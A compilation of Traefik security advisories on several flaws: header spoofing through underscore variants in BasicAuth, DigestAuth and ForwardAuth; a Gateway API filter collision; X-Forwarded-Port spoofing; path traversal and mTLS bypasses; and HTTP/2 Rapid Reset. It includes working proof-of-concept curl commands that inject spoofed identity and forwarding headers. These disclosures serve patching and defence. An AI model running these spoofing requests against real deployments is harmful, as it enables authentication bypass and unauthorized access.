There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers (e.g. X-Auth-User) before writing Traefik's own value, but did not account for underscore-variant header names (e.g. XAuthUser), which many backends normalize identically to the dashed form. An attacker able to reach a protected route could inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside — or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of — the value Traefik intended to set, spoofing identity or authorization context. This is fixed by setting the new allowHeadersWithUnderscores: false entry point option, which strips all headers with underscores in their names before routing.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth
Summary
The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added req.Header.Del(headerField) before the literal-key writeback in pkg/middlewares/auth/basicauth.go and pkg/middlewares/auth/digestauth.go. Go's Header.Del calls textproto.CanonicalMIMEHeaderKey which canonicalizes ASCII CASE and treats - as a word separator — so the fix correctly strips canonical-cased attacker headers (X-Auth-User, x-auth-user, X-AUTH-USER, etc.).
However, textproto.CanonicalMIMEHeaderKey does NOT treat as a separator. Attacker-supplied underscore-variant headers such as XAuthUser survive Header.Del("X-Auth-User") intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP $SERVER, nginx with underscoresinheaders on, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize ↔ - equivalently or expose both forms to application code that may read the attacker's value.
This is the direct cross-cohort sibling of the threat model the maintainer accepted in CVE-2026-39858 (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded- family via isManagedXHeader in pkg/middlewares/forwardedheaders/forwardedheader.go. The CVE-2026-39858 advisory body states verbatim:
"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials."
The same threat model applies to the operator-configurable headerField (BasicAuth, DigestAuth) and authResponseHeaders (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (isManagedXHeader) was not extended to those middlewares. I verified the bypass end-to-end on traefik:v3.6.14 (the latest patched release containing both fixes) using a default-recommended canonical headerField: "X-Auth-User" config and reproduced the bypass with a single curl -H "XAuthUser: superadmin" ... request alongside valid BasicAuth credentials.
The defect is present in four code paths at HEAD eec68dce064f843b4317c4393aaea81b6dea31d6:
1. pkg/middlewares/auth/basicauth.go:101-105 — BasicAuth headerField 2. pkg/middlewares/auth/digestauth.go:99-103 — DigestAuth headerField 3. pkg/middlewares/auth/forward.go:304-310 — ForwardAuth authResponseHeaders per-name writeback 4. pkg/middlewares/ingressnginx/snippet/snippet.go:480-486 — Ingress-NGINX snippet authResponseHeaders per-name writeback
The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The authResponseHeaders mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.
The fast proxy at pkg/proxy/fast/proxy.go:139 explicitly calls DisableNormalizing() on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard httputil.ReverseProxy path at pkg/proxy/httputil/proxy.go:55 likewise copies req.Header keys as-is during the wire write.
Affected versions
- traefik v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture.
The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the Del line but the literal-key write defect-class survives for underscore variants).
Root cause
In pkg/middlewares/auth/basicauth.go at HEAD eec68dc:
go if b.headerField != "" { // TODO Deprecated we should add the header with canonical key. req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} }
The TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current Del + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.
pkg/middlewares/auth/digestauth.go:99-103 and the two ForwardAuth paths follow the same Del + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.
The maintainer's gold-standard primitive for handling this exact threat class is pkg/middlewares/forwardedheaders/forwardedheader.go:53-66:
go func isManagedXHeader(key string) bool { if len(key) == 0 || key[0] != 'X' { return false } if , ok := XHeadersSet[key]; ok { return true } if strings.IndexByte(key, '') < 0 { return false } canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "", "-")) , ok := XHeadersSet[canonical] return ok }
This treats ↔ - equivalence as a security requirement. It is reachable only via the static XHeadersSet membership check, which contains exclusively the X-Forwarded- family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.
Proof of concept
Verified on traefik:v3.6.14 (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/<attacker-repo>/traefik-ht1a-poc; commands below are verbatim.
Setup
yaml docker-compose.yml services: traefik: image: traefik:v3.6.14 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:80 ports: - "8080:80" volumes: - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro echo: image: mendhak/http-https-echo:36 environment: - HTTPPORT=8888
yaml traefik/dynamic.yml — canonical headerField, recommended operator config http: routers: protected: rule: "PathPrefix(/)" service: echo middlewares: [basic-auth] services: echo: loadBalancer: servers: [{url: "http://echo:8888"}] middlewares: basic-auth: basicAuth: users: - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC' # alice:secret123 headerField: "X-Auth-User"
docker compose up -d.
Test 1 (control — CVE-2026-33433 fix works for canonical case)
bash $ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", ... }
The attacker's canonical X-Auth-User: superadmin was correctly stripped by Traefik's Del; the backend receives only Traefik's authenticated-user writeback alice.
Test 2 (HT-1A bypass — underscore variant survives)
bash $ curl -s -u alice:secret123 -H "XAuthUser: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", "xauthuser": "superadmin", ... }
The underscore-variant xauthuser: superadmin reached the backend intact, despite the Del("X-Auth-User") having executed. The backend sees both forms.
Test 3 (double-send — same result)
bash $ curl -s -u alice:secret123 \ -H "X-Auth-User: superadmin" \ -H "XAuthUser: superadmin" \ http://localhost:8080/ { ... "x-auth-user": "alice", # Traefik's writeback "xauthuser": "superadmin", # attacker's underscore — survived Del ... }
The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.
Backend impact
The PoC's echo backend (mendhak/http-https-echo, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading req.headers["x-auth-user"] sees alice. Application code reading req.headers["xauthuser"] sees superadmin.
For backends that normalize ↔ - equivalently — meaning the attacker's value wins:
- CGI / WSGI / PHP $SERVER (RFC 3875 §4.1.18 — header name uppercased with - replaced by ): both X-Auth-User and XAuthUser map to HTTPXAUTHUSER. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without --disable-logging, waitress) preserve both. Note: Apache + modphp with default HttpProtocolOptions Strict filters underscore-headers from $SERVER (this PoC's PHP backend test demonstrated the filter); Apache + modpython, Apache + modwsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter. - nginx with underscoresinheaders on (https://nginx.org/en/docs/http/ngxhttpcoremodule.html#underscoresinheaders): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them. - Tomcat / Java EE servlet containers: HttpServletRequest.getHeader(name) is case-insensitive; underscore handling is container-specific. Many normalize. - Application middleware (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.
Severity
I propose HIGH CVSS 7.5 for the BasicAuth / DigestAuth case and CRITICAL CVSS 9.1 for the ForwardAuth authResponseHeaders case (the latter requires no credentials).
CVSS 3.1 vector (BasicAuth / DigestAuth): AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5 — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical headerField). HT-1A works against the canonical / recommended headerField configuration, broader operational scope.
CVSS 3.1 vector (ForwardAuth authResponseHeaders): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1 — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the authResponseHeaders mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.
CWEs: - CWE-290 (Authentication Bypass by Spoofing) - CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054 - CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051
Suggested fix
Two equivalent approaches:
1. Extend Header.Del to handle underscore variants at the four call sites. Replace:
go req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user}
with:
go canonical := http.CanonicalHeaderKey(b.headerField) // Strip canonical AND underscore-variant of the canonical key. for key := range req.Header { if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "", "-"), canonical) { delete(req.Header, key) } } req.Header.Set(canonical, user) // canonical-key write
This pairs the headerField primitive with the same ↔ - equivalence that isManagedXHeader enforces for X-Forwarded-.
2. Generalize the existing isManagedXHeader primitive into a stripHeaderAndVariants(headers http.Header, name string) helper in the forwardedheaders package and call it from basicauth.go, digestauth.go, forward.go, and snippet.go. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.
Either approach should also resolve the // TODO Deprecated we should add the header with canonical key. debt at basicauth.go:102 and digestauth.go:100 by writing to the canonical key (Header.Set(canonical, user)) instead of the literal b.headerField.
Why this is a Pattern-8 sibling, not a new CVE class
The combination of:
1. CVE-2026-33433's fix scope (case-canonicalization for headerField) 2. CVE-2026-39858's fix scope (underscore-variant for XHeadersSet) 3. The defective primitive remaining at HEAD (the Del + literal-write pair at four call sites)
establishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual Header.Del implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.
I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.
Credit
Matteo Panzeri (GitHub matte1782). CVE credit requested.
AI-assistance disclosure
Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.
</details>
---
Summary
There is a medium severity vulnerability in Traefik's Kubernetes Gateway API provider. When two accepted HTTPRoutes target the same backend Service:port but configure different backendRef filters, Traefik may resolve both routes to the same child service and apply only one route's filter set to all requests reaching that backend. In Gateway deployments where backendRef filters set security-sensitive headers — such as tenant identity, authorization context, or values the backend trusts — an attacker who can create an accepted HTTPRoute sharing the same backend Service:port may cause their route's filter context to be applied to another route's requests, potentially crossing namespace boundaries when a ReferenceGrant permits cross-namespace targeting.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.6
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Traefik Gateway HTTPRoute backendRef filter context collision across routes sharing Service:port
Summary
Traefik's Kubernetes Gateway API provider builds the dynamic HTTP backend service key for a Gateway HTTPRoute backendRef from only the backend namespace, Service name, protocol, and port. It does not include the HTTPRoute, listener, rule, or backendRef filter identity in that key.
When two accepted HTTPRoutes point to the same backend Service:port but define different backendRef filters, Traefik can make both route WRR services reference the same child service. The child service then carries only one backendRef filter set, so one route can send requests to the backend with another route's backend context.
This is security-relevant when backendRef filters set, remove, or rewrite security-sensitive context, such as tenant, identity, auth, sanitization, Host, or path headers trusted by the backend.
Credit: Qican Ma, Ding Luo @XiaoMi ShadowBlade Security Lab
Suggested Severity
Suggested severity: Medium/High, configuration-dependent.
Suggested CVSS 3.1:
text CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N
Notes:
- Requires Gateway API routes sharing the same backend Service:port with different security-sensitive backendRef filters trusted by the backend. - Cross-namespace impact is possible when route attachment and ReferenceGrant policy allow an attacker route to target the shared backend. - No RCE, memory corruption, or default-config exposure claimed.
Suggested CWE:
text CWE-863: Incorrect Authorization CWE-284: Improper Access Control
Affected Component
text pkg/provider/kubernetes/gateway/httproute.go — loadService(), loadMiddlewares()
Tested Versions
Confirmed on:
text Traefik source snapshot: 29406d42898547f1ffabd904f66af06c212740cf on master
Earliest affected version not exhaustively determined.
Root Cause
loadService starts the dynamic service name from backend namespace and Service name only:
go // pkg/provider/kubernetes/gateway/httproute.go:245 serviceName := provider.Normalize(namespace + "-" + string(backendRef.Name) + "-http")
It loads backendRef filters using that same service name before appending the backend port:
go // pkg/provider/kubernetes/gateway/httproute.go:258 middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)
For normal Kubernetes Services, the final child service key appends only the port:
go // pkg/provider/kubernetes/gateway/httproute.go:304-317 portStr := strconv.FormatInt(int64(port), 10) serviceName = provider.Normalize(serviceName + "-" + portStr) ... conf.HTTP.Services[serviceName] = &dynamic.Service{LoadBalancer: lb, Middlewares: middlewares}
Each route/rule WRR service references the child service by name. Later route configs are merged by map key (maps.Copy), so both route-local WRR services can point to the same child service, which retains only one of the route/backendRef filter configurations.
Attack Scenario
1. Gateway listener with allowedRoutes.namespaces.from: All. 2. Victim HTTPRoute route-a in namespace default targets default/whoami:80 with backendRef filter setting X-Tenant: tenant-a. 3. Attacker-controlled HTTPRoute route-b in namespace attacker targets default/whoami:80 (via ReferenceGrant) with backendRef filter setting X-Tenant: tenant-b. 4. Both routes generate the same child service key: default-whoami-http-80. 5. The second route's filter configuration overwrites the first (or vice versa) via maps.Copy. 6. Backend receives both routes' requests with one tenant's header context.
Proof of Concept
A Go test harness injects provider-level and server-level tests into the Traefik checkout. The provider test confirms the generated dynamic configuration collision. The server test builds Traefik's runtime router/service/middleware pipeline and sends httptest requests through router matching, WRR service dispatch, service-level backendRef middleware, and backend proxy capture.
Observed result:
json { "name": "positivecrossnamespacesamebackendfiltercollision", "pass": true, "expected": {"route-a": "tenant-a", "route-b": "tenant-b"}, "observed": {"route-a": "tenant-a", "route-b": "tenant-a"}, "runtimeObserved": {"route-a": "tenant-a", "route-b": "tenant-a"}, "childServices": {"route-a": "default-whoami-http-80", "route-b": "default-whoami-http-80"} }
Negative controls confirmed:
- Separate backend Service:port keys produce correct per-route filter isolation. - Identical filters across routes produce no security-relevant difference.
The PoC files can be shared upon request.
Impact
An actor who can create or modify an accepted HTTPRoute can cause another accepted route that targets the same backend Service:port to use the wrong backendRef filter context. In cross-namespace Gateway deployments, this can cross namespace boundaries.
High-value impact: gateway-injected tenant, identity, auth, role, header sanitization, Host rewrite, or path rewrite context is trusted by the backend. Lower-value impact: the overwritten header is informational or observability-only.
Suggested Remediation
1. Include route/listener/rule/backendRef filter identity in the generated child service name when backendRef filters are present. 2. Split the load-balancer service from the backendRef filter application so per-route backend filters remain route-scoped. 3. Detect conflicting backendRef filters for the same generated service key and reject or disambiguate the configuration.
Timeline
text 2026-06-04: Discovered and reproduced with local test harness.
</details>
---
Summary
There is a medium severity vulnerability in Traefik's ForwardAuth middleware. Even when configured with trustForwardHeader: false, Traefik derives the X-Forwarded-Port header sent to the authentication service from the original incoming request instead of the sanitized forwarded request. As a result, an unauthenticated remote attacker can inject an X-Forwarded-Proto: https header over a plain HTTP connection and cause Traefik to forward X-Forwarded-Port: 443 to the auth service, bypassing port-based authorization checks. This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54, which addressed the X-Forwarded-Proto and X-Forwarded-Prefix spoofing vectors but missed the X-Forwarded-Port vector.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
The ForwardAuth middleware, even when configured with trustForwardHeader: false, still derives the X-Forwarded-Port header sent to the authentication service by reading the attacker-controlled X-Forwarded-Proto header from the original incoming request. This allows an unauthenticated remote attacker to cause Traefik to forward X-Forwarded-Port: 443 to the auth service on a plain HTTP connection, creating an inconsistency that can bypass port-based authorization checks.
### Details
The fix introduced in commit 5e1de2258 (released as part of the April 2026 security advisory GHSA-6384-m2mw-rf54) correctly strips all X-Forwarded- headers from the forwarded auth request when trustForwardHeader=false, and reconstructs X-Forwarded-Proto from the actual TLS state of the connection (req.TLS).
However, the reconstruction of X-Forwarded-Port is delegated to the helper forwardedPort(req) which receives the original request (req) rather than the sanitized forward request (forwardReq):
go // pkg/middlewares/auth/forward.go – writeHeader() if !trustForwardHeader { forwardedheaders.DeleteXForwardedHeaders(forwardReq.Header) // strips all X-Fwd- from forwardReq } // ... if , ok := forwardReq.Header[forwardedheaders.XForwardedPort]; !ok { forwardReq.Header.Set(forwardedheaders.XForwardedPort, forwardedPort(req)) // ← req = ORIGINAL }
// pkg/middlewares/auth/forward.go – forwardedPort() func forwardedPort(req http.Request) string { if , port, err := net.SplitHostPort(req.Host); err == nil && port != "" { return port } // Reads attacker-controlled header on the ORIGINAL request: if req.Header.Get(forwardedheaders.XForwardedProto) == "https" || ... { return "443" } if req.TLS != nil { return "443" } return "80" }
Result when trustForwardHeader=false and attacker sends X-Forwarded-Proto: https on a plain HTTP connection:
┌──────────────────────────────────┬──────────┬────────┐ │ Header forwarded to auth service │ Expected │ Actual │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Proto │ http │ http ✓ │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Port │ 80 │ 443 ✗ │ └──────────────────────────────────┴──────────┴────────┘ The inconsistency between Proto=http and Port=443 is exploitable against any authentication service that gates access based on X-Forwarded-Port.
### PoC
Traefik configuration:
http: middlewares: my-auth: forwardAuth: address: "http://auth-service/" trustForwardHeader: false # security setting, but still bypassable routers: api: rule: "PathPrefix(/api)" middlewares: - my-auth service: backend
Auth service logic (example victim): # auth-service checks: only port 443 requests are considered "secure" port = request.headers.get("X-Forwarded-Port", "80") proto = request.headers.get("X-Forwarded-Proto", "http") if port == "443": return 200 # grant access return 403 Attack:
Plain HTTP connection, no TLS – but spoofs port 443 curl -H "X-Forwarded-Proto: https" http://traefik.example.com/api/admin Auth service receives X-Forwarded-Port: 443 → grants access
Verification: Enable Traefik debug logging and observe X-Forwarded-Port: 443 in the auth request while the connection is plain HTTP.
### Impact
Any deployment using the ForwardAuth middleware with trustForwardHeader: false where the downstream authentication service uses X-Forwarded-Port to make authorization decisions is vulnerable to privilege escalation. An unauthenticated attacker can bypass port-based security checks (e.g., "only allow requests arriving on HTTPS port 443") by injecting a single X-Forwarded-Proto: https header on a plain HTTP connection.
This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54: while the X-Forwarded-Prefix and X-Forwarded-Proto spoofing vectors were addressed, the X-Forwarded-Port vector was missed.
</details>
---
Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.48, 3.6.19, and 3.7.3, there is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router. This vulnerability is fixed in 2.11.48, 3.6.19, and 3.7.3.
Traefik is an HTTP reverse proxy and load balancer. From 3.7.0 until 3.7.3, there is a high severity vulnerability in Traefik's domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3. This vulnerability is fixed in 3.7.3.
Traefik is an HTTP reverse proxy and load balancer. Prior to 3.7.3, there is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., .example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker. This vulnerability is fixed in 3.7.3.
Traefik before 2.10.5 and 3.0.0-beta4 is affected by a denial-of-service vulnerability in HTTP/2 request handling inherited from the Go standard library's HTTP/2 implementation (CVE-2023-44487 / CVE-2023-39325, the 'Rapid Reset' technique). A remote attacker can rapidly create and cancel HTTP/2 streams to exhaust server resources and cause service unavailability.
Traefik before 2.10.5 and 3.0.0-beta4 is affected by a denial-of-service vulnerability in HTTP/2 request handling inherited from the Go standard library's HTTP/2 implementation (CVE-2023-44487 / CVE-2023-39325, the 'Rapid Reset' technique). A remote attacker can rapidly create and cancel HTTP/2 streams to exhaust server resources and cause service unavailability.